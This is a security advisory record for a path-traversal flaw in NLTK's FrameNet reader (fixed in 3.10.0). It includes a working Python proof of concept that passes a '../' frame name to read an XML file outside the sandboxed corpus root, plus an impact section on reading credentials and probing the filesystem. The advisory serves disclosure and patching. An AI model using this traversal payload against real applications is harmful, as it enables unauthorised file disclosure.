{"id":"PYSEC-2026-3584","summary":"Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)","details":"### Summary\n`FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.\n\n\n### Details\n`frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply.\n\nThe same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:\n- `doc()` — uses the index entry `filename` field\n- the lexical-unit file loader — uses the `lexUnit` ID attribute\n\nThese are reachable through a malicious or attacker-modified FrameNet corpus index.\n\n### PoC\n```python\n\"\"\"\n\nimport os\nimport sys\nimport tempfile\nimport warnings\nfrom pathlib import Path\n\nwarnings.filterwarnings(\"ignore\")\n\n# --- Turn the documented strict sandbox ON, before importing the reader. ---\nimport nltk.pathsec as ps\nps.ENFORCE = True\n\nimport nltk\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError\n\nFRAME_XML = (\n    '\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n'\n    '\u003cframe xmlns=\"http://framenet.icsi.berkeley.edu\" ID=\"1337\" name=\"pwned\"\u003e\\n'\n    \"\u003cdefinition\u003eSECRET-OUT-OF-ROOT-CONTENT\u003c/definition\u003e\\n\"\n    \"\u003c/frame\u003e\\n\"\n)\n\nBANNER = \"\"\"\\\n===========================================================\n NLTK FramenetCorpusReader.frame() Path Traversal PoC\n nltk {ver}   |   nltk.pathsec.ENFORCE = {enforce}\n===========================================================\"\"\".format(\n    ver=nltk.__version__, enforce=ps.ENFORCE\n)\n\n\ndef build_corpus():\n    \"\"\"Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.\"\"\"\n    base = Path(tempfile.mkdtemp(prefix=\"fn_poc_\"))\n    root = base / \"corpora\" / \"framenet\"\n    for d in (\"frame\", \"fulltext\", \"lu\"):\n        (root / d).mkdir(parents=True)\n    (root / \"frameIndex.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeIndex\u003e\u003c/frameIndex\u003e'\n    )\n    (root / \"frRelation.xml\").write_text(\n        '\u003c?xml version=\"1.0\"?\u003e\u003cframeRelations\u003e\u003c/frameRelations\u003e'\n    )\n\n    # A frame-shaped XML file OUTSIDE the corpus root (the \"sensitive\" target).\n    secret = base / \"private\"\n    secret.mkdir()\n    (secret / \"secret.xml\").write_text(FRAME_XML)\n\n    return base, root, secret / \"secret.xml\"\n\n\ndef main():\n    print(BANNER)\n    base, root, secret_path = build_corpus()\n    print(f\"[*] corpus root : {root}\")\n    print(f\"[*] secret file : {secret_path}  (OUTSIDE the root)\\n\")\n\n    fn = FramenetCorpusReader(str(root), [])\n\n    # Attacker-controlled frame name climbs out of \u003croot\u003e/frame/ up to \u003cbase\u003e/private/secret.xml\n    evil = os.path.join(\"..\", \"..\", \"..\", \"private\", \"secret\")\n    print(f\"[*] calling   fn.frame({evil!r})\")\n\n    try:\n        f = fn.frame(evil)\n        definition = f[\"definition\"]\n        if \"SECRET-OUT-OF-ROOT-CONTENT\" in definition:\n            print(\"\\n  [VULN] out-of-root file was read and returned to caller\")\n            print(f\"         frame name : {evil}\")\n            print(f\"         frame ID   : {f['ID']}   name: {f['name']}\")\n            print(f\"         definition : {definition}\")\n            print(f\"\\n  -\u003e nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}\")\n            verdict = \"VULNERABLE\"\n        else:\n            print(f\"\\n  [?] frame() returned but content unexpected: {definition!r}\")\n            verdict = \"INCONCLUSIVE\"\n    except FramenetError as e:\n        # Patched build (#3581): _reject_unsafe_path_component raises before open().\n        print(f\"\\n  [SAFE] FramenetError: {e}\")\n        print(\"         traversal rejected before any file was opened (patched)\")\n        verdict = \"NOT VULNERABLE\"\n    except Exception as e:\n        print(f\"\\n  [SAFE] {type(e).__name__}: {e}\")\n        verdict = \"NOT VULNERABLE\"\n\n    # Control: a plain absent name must fail as 'Unknown frame', NOT as a read.\n    print(\"\\n[CONTROL] benign absent name should be 'Unknown frame':\")\n    try:\n        fn.frame(\"Definitely_Not_A_Frame\")\n        print(\"  [?] unexpectedly succeeded\")\n    except Exception as e:\n        print(f\"  ok -\u003e {type(e).__name__}: {e}\")\n\n    print(\"\\n\" + \"=\" * 59)\n    print(f\" Result: {verdict}  (ENFORCE = {ps.ENFORCE})\")\n    print(\"=\" * 59)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n\n### Impact\n- **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input.\n- **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving \"read any XML file the process can read.\" Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths.\n- **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.","aliases":["CVE-2026-12074","GHSA-xh95-f55m-82fw"],"modified":"2026-08-04T14:30:27.713135809Z","published":"2026-08-04T11:34:45.939354Z","references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"PACKAGE","url":"https://pypi.org/project/nltk"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xh95-f55m-82fw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12074"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/nltk/PYSEC-2026-3584.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}]}